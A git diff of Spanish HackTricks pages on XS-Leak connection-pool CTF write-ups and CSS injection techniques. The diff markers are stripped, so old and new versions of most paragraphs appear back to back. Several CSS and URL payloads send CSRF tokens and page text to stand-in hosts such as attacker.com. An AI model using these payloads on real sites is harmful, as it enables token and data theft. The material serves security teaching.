* Debido a que los **posts** están ordenados **alfabéticamente**, cuando se **elimina el primer post**, si el contenido **HTML** del atacante es **cargado**, significa que estaba **alfabéticamente antes de la bandera**.
Por lo tanto, para robar la bandera, la solución propuesta por @Strellyc\_ es, **para cada carácter a probar**, hacer que el bot:
* Cree un **nuevo post** que **comience** con la parte conocida de la **bandera** y varios **cargas de img**.
* **Elimine** el **post** en la posición **0**.
* Bloquee 255 sockets.
* Cargue la página con los posts.
* Realice 5 solicitudes aleatorias a un sitio (ejemplo.com en este caso) y mida el tiempo que esto lleva a cabo.
{% hint style="warning" %}
Si el **post eliminado** fue la **bandera**, esto significa que todas las **imágenes** **inyectadas** en el HTML van a estar **compitiendo** con las **5 solicitudes aleatorias** por ese **socket desbloqueado**. Lo que significa que el tiempo medido será mayor que en el otro escenario.
Si el **post eliminado** fue el **HTML**, las **5 solicitudes aleatorias** serán **más rápidas** porque no necesitan competir por ese socket con el HTML inyectado.
{% endhint %}
### Exploit 1
## Sekaictf2022 - lista segura
En el [**Sekaictf2022 - lista segura**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) desafío, [**@Strellic\_**](https://twitter.com/Strellic\_) da un ejemplo de cómo usar una **variación** de la técnica de **Pool de Conexiones** para realizar un **XS-Leak**.
En este desafío, el objetivo es exfiltrar una bandera que aparecerá en la sesión web de los bots dentro de una publicación. Estos son los activos que tiene el atacante:
* El **bot** **visitará** una **URL** dada por el atacante.
* El atacante puede **inyectar HTML** en la página (pero no JS, se usa dompurify) abusando de un **CSRF** haciendo que el **bot cree una publicación** con ese HTML.
* El atacante puede abusar de un CSRF para hacer que el **bot** **elimine** la **primera** **publicación** dentro de la web.
* Debido a que las **publicaciones** están ordenadas **alfabéticamente**, cuando se **elimina la primera publicación**, si el contenido **HTML** del atacante se **carga**, significa que estaba **alfabéticamente antes de la bandera**.
Por lo tanto, para robar la bandera, la solución propuesta por @Strellyc\_ es que, **para cada carácter a probar**, el bot:
* Cree una **nueva publicación** que **comience** con la parte conocida de la **bandera** y varias **cargas de img**.
* **Elimine** la **publicación** en la posición **0**.
* Bloquee 255 sockets.
* Cargue la página con las publicaciones.
* Realice 5 solicitudes aleatorias a un sitio (example.com en este caso) y mida el tiempo que esto toma.
{% hint style="warning" %}
Si la **publicación eliminada** era la **bandera**, esto significa que todas las **imágenes** **inyectadas** en el HTML van a estar **compitiendo** con las **5 solicitudes aleatorias** por ese socket **desbloqueado**. Lo que significa que el tiempo medido será mayor que en el otro escenario.
Si la **publicación eliminada** era el **HTML**, las **5 solicitudes aleatorias** serán **más rápidas** porque no necesitan competir por ese socket con el HTML inyectado.
{% endhint %}
### Explotación 1
Este es el código de explotación, tomado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
@ -294,17 +295,17 @@ resolve(isFound)
</html>
```
## DiceCTF 2022 - zanahoria
## DiceCTF 2022 - carrot
En este caso, el primer paso del exploit fue abusar de un CSRF para modificar la página donde se encuentra la bandera para que tenga **mucho más contenido** (y por lo tanto, tarde más en cargarse), y luego **abusar del grupo de conexiones para medir el tiempo que tarda en acceder a la página** que potencialmente podría tener la bandera.
En este caso, el primer paso del exploit fue abusar de un CSRF para modificar la página donde se encuentra la bandera para que tenga **mucho más contenido** (y por lo tanto, cargarla toma más tiempo), y luego **abusar del pool de conexiones para medir el tiempo que tarda en acceder a la página** que podría contener la bandera.
En el exploit se puede ver:
En el exploit puedes ver:
* Abuso de CSRF
* Ocupar todos los sockets menos uno
* Abusar de CSRF
* Ocupar todos los sockets menos 1
* Calibrar la respuesta
* Comenzar la fuerza bruta accediendo a la página potencial con la bandera
* La página potencial será accedida e inmediatamente se accederá a una URL controlada por el atacante para verificar cuánto tiempo tardan ambas solicitudes.
* Comenzar a hacer bruteforce accediendo a la página potencial con la bandera
* La página potencial será accedida y de inmediato se accederá a una URL controlada por el atacante para verificar cuánto tiempo tardan ambas solicitudes.
```html
<h1>DiceCTF 2022 web/carrot</h1>
@ -506,16 +507,17 @@ exploit('dice{')
}
</script>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Inyección de CSS
# CSS Injection
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,11 +23,11 @@ Otras formas de apoyar a HackTricks:
***
## Inyección de CSS
## CSS Injection
### Selector de Atributos
### Selector de Atributo
Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:
Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo value del elemento input comienza con un carácter específico, se carga un recurso externo predefinido:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -39,30 +40,30 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
Sin embargo, este enfoque se enfrenta a una limitación al tratar con elementos de entrada ocultos (`type="hidden"`) porque los elementos ocultos no cargan fondos.
Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de entrada ocultos (`type="hidden"`) porque los elementos ocultos no cargan fondos.
#### Bypass para Elementos Ocultos
Para evitar esta limitación, puedes apuntar a un elemento hermano posterior usando el combinador de hermanos generales `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue:
Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, lo que provoca que la imagen de fondo se cargue:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Un ejemplo práctico de explotar esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Requisitos previos para la Inyección de CSS
#### Requisitos para la Inyección de CSS
Para que la técnica de Inyección de CSS sea efectiva, se deben cumplir ciertas condiciones:
Para que la técnica de Inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
1. **Longitud de la carga útil**: El vector de inyección de CSS debe admitir cargas útiles lo suficientemente largas para acomodar los selectores elaborados.
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para desencadenar la reevaluación de CSS con cargas útiles recién generadas.
3. **Recursos externos**: La técnica asume la capacidad de utilizar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
1. **Longitud de la Carga Útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles generadas recientemente.
3. **Recursos Externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
### Selector de Atributo Ciego
Como se [**explica en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de lo que hay dentro de la página web que carga la inyección de CSS.\
También es posible utilizar esos selectores para extraer información de varios bloques del mismo tipo como en:
Como [**se explica en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo como en:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -72,31 +73,31 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Combinando esto con la siguiente técnica **@import**, es posible exfiltrar mucha **información utilizando inyección de CSS desde páginas ciegas con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combinando esto con la siguiente técnica de **@import**, es posible exfiltrar mucha **info usando inyección CSS desde páginas ciegas con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
La técnica anterior tiene algunas limitaciones, verifica los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **incrustar la página vulnerable a la inyección de CSS en un iframe**.
La técnica anterior tiene algunas desventajas, consulta los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a la inyección CSS**.
Sin embargo, hay otra técnica ingeniosa que utiliza **CSS `@import`** para mejorar la calidad de la técnica.
Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) y funciona de la siguiente manera:
Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) y funciona así:
En lugar de cargar la misma página una y otra vez con decenas de cargas diferentes cada vez (como en la técnica anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (este es el payload a enviar a la víctima):
En lugar de cargar la misma página una y otra vez con decenas de diferentes payloads cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (este es el payload a enviar a la víctima):
```css
@import url('//attacker.com:5001/start?');
```
1. La importación va a **recibir un script CSS** de los atacantes y el **navegador lo cargará**.
2. La primera parte del script CSS que enviará el atacante es **otro `@import` al servidor de los atacantes nuevamente**.
3. El servidor de los atacantes no responderá esta solicitud aún, ya que queremos filtrar algunos caracteres y luego responder a esta importación con el payload para filtrar los siguientes.
4. La segunda y más grande parte del payload va a ser un **payload de filtración de selector de atributos**.
5. Esto enviará al servidor de los atacantes el **primer carácter del secreto y el último**.
6. Una vez que el servidor de los atacantes haya recibido el **primer y último carácter del secreto**, responderá a la importación solicitada en el paso 2.
7. La respuesta va a ser exactamente la misma que los **pasos 2, 3 y 4**, pero esta vez intentará **encontrar el segundo carácter del secreto y luego el penúltimo**.
1. La importación va a **recibir algún script CSS** de los atacantes y el **navegador lo cargará**.
2. La primera parte del script CSS que el atacante enviará es **otro `@import` al servidor de los atacantes nuevamente.**
1. El servidor de los atacantes no responderá a esta solicitud aún, ya que queremos filtrar algunos caracteres y luego responder a esta importación con la carga útil para filtrar los siguientes.
3. La segunda y mayor parte de la carga útil va a ser una **carga útil de filtrado de selector de atributos**
1. Esto enviará al servidor de los atacantes el **primer carácter del secreto y el último.**
4. Una vez que el servidor de los atacantes haya recibido el **primer y último carácter del secreto**, **responderá a la importación solicitada en el paso 2**.
1. La respuesta va a ser exactamente la misma que los **pasos 2, 3 y 4**, pero esta vez intentará **encontrar el segundo carácter del secreto y luego el penúltimo**.
El atacante seguirá ese bucle hasta que logre filtrar completamente el secreto.
El atacante **seguirá ese bucle hasta que logre filtrar completamente el secreto**.
Puedes encontrar el [**código de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puedes encontrar casi el [**mismo código pero comentado aquí**.](./#css-injection)
Puedes encontrar el [**código original de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puedes encontrar casi el [**mismo código pero comentado aquí**.](./#css-injection)
{% hint style="info" %}
El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:
@ -107,30 +108,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Esto permite que el script filtre la información secreta más rápido.
Esto permite que el script filtre el secreto más rápido.
{% endhint %}
{% hint style="warning" %}
A veces el script **no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa** y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se quedará colgado.\
No te preocupes, solo verifica la **salida** porque **puedes ver la bandera allí**.
No te preocupes, solo revisa la **salida** porque **puedes ver la bandera allí**.
{% endhint %}
### Otros selectores
Otras formas de acceder a partes del DOM con **selectores CSS**:
* **`.clase-a-buscar:nth-child(2)`**: Esto buscará el segundo elemento con la clase "clase-a-buscar" en el DOM.
* Selector **`:empty`**: Utilizado por ejemplo en [**este informe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **`.class-to-search:nth-child(2)`**: Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.
* **`:empty`** selector: Usado por ejemplo en [**este informe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("TU_URL_DEL_SERVIDOR?1"); }
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### XS-Search basado en errores
**Referencia:** [Ataque basado en CSS: Abuso de unicode-range de @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search basado en errores por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Referencia:** [Ataque basado en CSS: Abusando de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search basado en errores por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
La intención general es **utilizar una fuente personalizada desde un punto final controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (`favicon.ico`) no se puede cargar**.
La intención general es **usar una fuente personalizada de un endpoint controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (`favicon.ico`) no se puede cargar**.
```html
<!DOCTYPE html>
<html>
@ -154,46 +155,46 @@ font-family: 'poc';
</body>
</html>
```
1. **Uso de Fuente Personalizada**:
- Una fuente personalizada se define utilizando la regla `@font-face` dentro de una etiqueta `<style>` en la sección `<head>`.
- La fuente se llama `poc` y se obtiene de un punto final externo (`http://attacker.com/?leak`).
- La propiedad `unicode-range` se establece en `U+0041`, apuntando al carácter Unicode específico 'A'.
1. **Uso de Fuentes Personalizadas**:
- Se define una fuente personalizada utilizando la regla `@font-face` dentro de una etiqueta `<style>` en la sección `<head>`.
- La fuente se llama `poc` y se obtiene de un endpoint externo (`http://attacker.com/?leak`).
- La propiedad `unicode-range` se establece en `U+0041`, apuntando al carácter Unicode específico 'A'.
2. **Elemento de Objeto con Texto de Respaldo**:
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
- El `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
- Si el recurso (`favicon.ico`) no se carga correctamente, se muestra el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>`.
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si el recurso externo no se puede cargar.
2. **Elemento Object con Texto de Respaldo**:
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
- La `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
- Si el recurso (`favicon.ico`) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>` se muestra.
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si no se puede cargar el recurso externo.
### Estilizando Fragmento de Desplazamiento a Texto
### Estilizando Fragmentos de Texto con Scroll
La pseudo-clase **`:target`** se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [especificación de Selectores CSS Nivel 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto esté dirigido explícitamente por el fragmento.
La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [especificación de Selectores CSS Nivel 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
Surge una preocupación de seguridad cuando los atacantes explotan la función de fragmento de **Desplazamiento a texto**, lo que les permite confirmar la presencia de un texto específico en una página web al cargar un recurso desde su servidor a través de una inyección HTML. El método implica inyectar una regla CSS como esta:
Surge una preocupación de seguridad cuando los atacantes explotan la función de **fragmento de desplazamiento a texto**, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:
```css
:target::before { content : url(target.png) }
```
En tales escenarios, si el texto "Administrador" está presente en la página, se solicita el recurso `target.png` desde el servidor, lo que indica la presencia del texto. Una instancia de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento de desplazamiento de texto:
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Se puede ejecutar una instancia de este ataque a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS, apuntando al texto específico "Administrador" a través del fragmento Scroll-to-text (`#:~:text=Administrador`). Si se encuentra el texto, se carga el recurso indicado, señalando inadvertidamente su presencia al atacante.
Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS, apuntando al texto específico "Administrator" a través del fragmento Scroll-to-text (`#:~:text=Administrator`). Si se encuentra el texto, se carga el recurso indicado, señalando inadvertidamente su presencia al atacante.
Para la mitigación, se deben tener en cuenta los siguientes puntos:
1. **Coincidencia STTF Restringida**: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
2. **Restricción a Contextos de Navegación de Nivel Superior**: STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más notable para el usuario.
3. **Necesidad de Activación del Usuario**: STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son factibles solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automatizen sin interacción del usuario. Sin embargo, el autor del blog señala condiciones y bypasses específicos (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
1. **Coincidencia STTF Constrainida**: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
2. **Restricción a Contextos de Navegación de Nivel Superior**: El STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, haciendo que cualquier intento de explotación sea más notable para el usuario.
3. **Necesidad de Activación del Usuario**: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor del blog señala condiciones específicas y bypass (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras similares.
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.
Para obtener más información, consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Para más información, consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Puedes verificar un [**exploit que utiliza esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Puedes consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Puedes especificar **fuentes externas para valores unicode específicos** que solo se **reunirán si esos valores unicode están presentes** en la página. Por ejemplo:
Puedes especificar **fuentes externas para valores unicode específicos** que solo serán **recogidos si esos valores unicode están presentes** en la página. Por ejemplo:
```html
<style>
@font-face{
@ -218,22 +219,22 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Cuando accedes a esta página, Chrome y Firefox recuperan "?A" y "?B" porque el nodo de texto de información sensible contiene los caracteres "A" y "B". Pero Chrome y Firefox no recuperan "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
### Exfiltración de nodo de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Exfiltración de nodos de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referencia:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
La técnica descrita implica extraer texto de un nodo explotando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
La técnica descrita implica extraer texto de un nodo aprovechando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
1. **Creación de fuentes personalizadas**:
- Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
- Ejemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
- Estas fuentes luego se convierten al formato woff utilizando fontforge.
- Estas fuentes se convierten a formato woff usando fontforge.
2. **Detección de cambios de ancho**:
- Se utiliza CSS para asegurar que el texto no se envuelva (`white-space: nowrap`) y para personalizar el estilo de la barra de desplazamiento.
- La aparición de una barra de desplazamiento horizontal, estilizada de manera distintiva, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
- Se utiliza CSS para asegurar que el texto no se ajuste (`white-space: nowrap`) y para personalizar el estilo de la barra de desplazamiento.
- La aparición de una barra de desplazamiento horizontal, estilizada de manera distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
- El CSS involucrado:
```css
body { white-space: nowrap };
@ -243,22 +244,22 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
3. **Proceso de explotación**:
- **Paso 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
- **Paso 2**: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de ancho grande (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
- **Paso 3**: Al detectar una ligadura, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y agregando un carácter anterior o posterior.
- **Paso 2**: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
- **Paso 3**: Al detectar una ligadura, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter anterior o posterior.
- **Paso 4**: Se lleva a cabo la detección de la ligadura de tres caracteres.
- **Paso 5**: El proceso se repite, revelando progresivamente todo el texto.
4. **Optimización**:
- El método actual de inicialización utilizando `<meta refresh=...` no es óptimo.
- Un enfoque más eficiente podría implicar el truco `@import` de CSS, mejorando el rendimiento del exploit.
- El método de inicialización actual usando `<meta refresh=...` no es óptimo.
- Un enfoque más eficiente podría involucrar el truco de CSS `@import`, mejorando el rendimiento de la explotación.
### Exfiltración de nodo de texto (II): filtrando el conjunto de caracteres con una fuente predeterminada (sin necesidad de activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltración de nodos de texto (II): filtrando el charset con una fuente predeterminada (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencia:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Este truco fue publicado en este [**hilo de Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). El conjunto de caracteres utilizado en un nodo de texto puede filtrarse **utilizando las fuentes predeterminadas** instaladas en el navegador: no se necesitan fuentes externas ni personalizadas.
